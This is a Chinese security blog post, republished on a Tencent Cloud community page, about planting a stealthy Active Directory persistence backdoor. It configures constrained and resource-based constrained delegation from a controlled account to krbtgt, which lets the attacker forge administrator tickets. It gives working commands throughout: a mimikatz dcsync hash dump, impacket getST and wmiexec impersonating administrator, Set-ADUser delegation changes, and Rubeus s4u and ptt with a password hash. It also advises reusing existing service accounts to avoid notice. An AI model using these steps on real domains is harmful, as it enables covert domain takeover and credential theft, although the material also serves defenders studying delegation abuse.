前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >内网渗透 | 利用委派打造隐蔽后门(权限维持)

内网渗透 | 利用委派打造隐蔽后门(权限维持)

作者头像
谢公子
发布2022-01-19 20:08:07
9630
发布2022-01-19 20:08:07
举报
文章被收录于专栏:谢公子学安全谢公子学安全

目录

选择控制的用户

已经存在的有SPN的域用户

自己创建的机器账号

自己创建的域用户然后赋予SPN

利用约束性委派打造隐蔽后门(权限维持)

利用基于资源的约束委派打造隐蔽后门(权限维持)

在Kali上使用impacket进行攻击

在Win7上使用Rubeus进行攻击

关于委派以及委派的一些攻击手法,传送门:域渗透之委派攻击

如果这里我们假设服务B为krbtgt,服务A为我们控制的一个账号。配置服务A到服务B的约束性委派或者基于资源的约束性委派,那么我们控制的账户就可以获取KDC(Key Distribution Centre)服务的ST服务票据(也就是TGT认购权证)。于是我们就可以伪造任何权限用户的TGT认购权证,来打造一个变种的黄金票据了

选择控制的用户

这里我们配置krbtgt允许服务A基于资源的约束委派。这里的服务A我们可以有以下几类:

1. 已经存在的有SPN的域用户

2. 自己创建的机器账号,但是要注意计算机账号密码的自动更新问题

3. 自己创建的域用户然后赋予SPN

在实战中,建议用第一种已经存在SPN的域用户,因为这样可以避免新建用户,实现动静最小化。

已经存在的有SPN的域用户

使用以下命令我们可以寻找具备SPN并且密码永不过期的用户账户。但是由于我们是测试环境,所以未配置该类型的账号。真实的企业环境中这种情况非常常见,比如许多服务账户就会满足这种条件。

代码语言:javascript
复制
Get-ADUser -Filter * -Properties ServicePrincipalName,PasswordNeverExpires | ?{($_ServicePrincipalName -ne "") -and ($_.PasswordNeverExpires -eq $true)}

这里比如我们找到了test用户属于这种要求,然后使用mimikatz的以下命令导出test用户的hash值,用于之后的攻击。

代码语言:javascript
复制
mimikatz "lsadump::dcsync /domain:xie.com /user:test"

自己创建的机器账号

我们可以自己创建一个机器账号ServiceA

这种方法有唯一一个限制条件:计算机账户密码的自动更新问题。(默认情况下)每隔30天,计算机账户密码就会自动更新,对应的凭据也会发生变化,使后门失去作用。攻击者可以使用如下方法禁止该账号密码自动更新。

自己创建的域用户然后赋予SPN

我们还可以自己创建一个域用户,然后赋予SPN

利用约束性委派打造隐蔽后门(权限维持)

我们控制的用户选择的是自己创建的 test 域用户。

· 域控:win2008 192.168.10.131

· 域:xie.com

· 攻击机:Kali

首先修改 kali 的/etc/hosts/文件,添加如下内容

代码语言:javascript
复制
192.168.10.131 win2008
192.168.10.131 xie.com

然后在域控上配置test用户到krbtgt用户的约束性委派。

在Kali上进行攻击

代码语言:javascript
复制
./getST.py -dc-ip 192.168.10.131 -spn krbtgt/XIE.COM -impersonate administrator xie.com/test:x123456.\/
export KRB5CCNAME=administrator.ccache
./wmiexec.py -no-pass -k administrator@win2008 -dc-ip 192.168.10.131

利用基于资源的约束委派打造隐蔽后门(权限维持)

· 域控:Win2012 192.168.10.24

· 域成员主机:Win7 192.168.10.130

· 普通域用户:xie\hack

首先修改 kali 的/etc/hosts/文件,添加如下内容

192.168.10.24 win2012

192.168.10.24 xie.com

配置基于资源的约束委派

这里我们用刚刚新建的test用户作为服务A,配置用户 test 到 krbtgt 的基于资源的约束委派

代码语言:javascript
复制
Set-ADUser krbtgt -PrincipalsAllowedToDelegateToAccount test
Get-ADUser krbtgt -Properties PrincipalsAllowedToDelegateToAccount

在Kali上使用impacket进行攻击

代码语言:javascript
复制
./getST.py -dc-ip 192.168.10.24 -spn krbtgt -impersonate administrator xie.com/test:x123456.\/
export KRB5CCNAME=administrator.ccache
./wmiexec.py -no-pass -k administrator@win2012 -dc-ip 192.168.10.24

在Win7上使用Rubeus进行攻击

现在我们在Win7上用普通域用户 xie\hack 使用Rubeus进行基于资源的约束性委派攻击

这下面的rc4是刚刚新建的test用户的密码哈希,我们也可以使用aes256来进行认证。服务我们设置为 krbtgt

代码语言:javascript
复制
Rubeus.exe s4u /user:test /rc4:b98e75b5ff7a3d3ff05e07f211ebe7a8 /domain:xie.com /msdsspn:krbtgt /impersonateuser:administrator

导入票据,访问域控

代码语言:javascript
复制
Rubeus.exe  ptt  /ticket:票据

参考文章:https://www.anquanke.com/post/id/170535

来源:谢公子的博客

责编:凉粉

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-07-30,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 谢公子学安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 已经存在的有SPN的域用户
  • 自己创建的机器账号
  • 自己创建的域用户然后赋予SPN
  • 利用约束性委派打造隐蔽后门(权限维持)
  • 利用基于资源的约束委派打造隐蔽后门(权限维持)
    • 在Kali上使用impacket进行攻击
      • 在Win7上使用Rubeus进行攻击
      相关产品与服务
      访问管理
      访问管理(Cloud Access Management,CAM)可以帮助您安全、便捷地管理对腾讯云服务和资源的访问。您可以使用CAM创建子用户、用户组和角色,并通过策略控制其访问范围。CAM支持用户和角色SSO能力,您可以根据具体管理场景针对性设置企业内用户和腾讯云的互通能力。
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档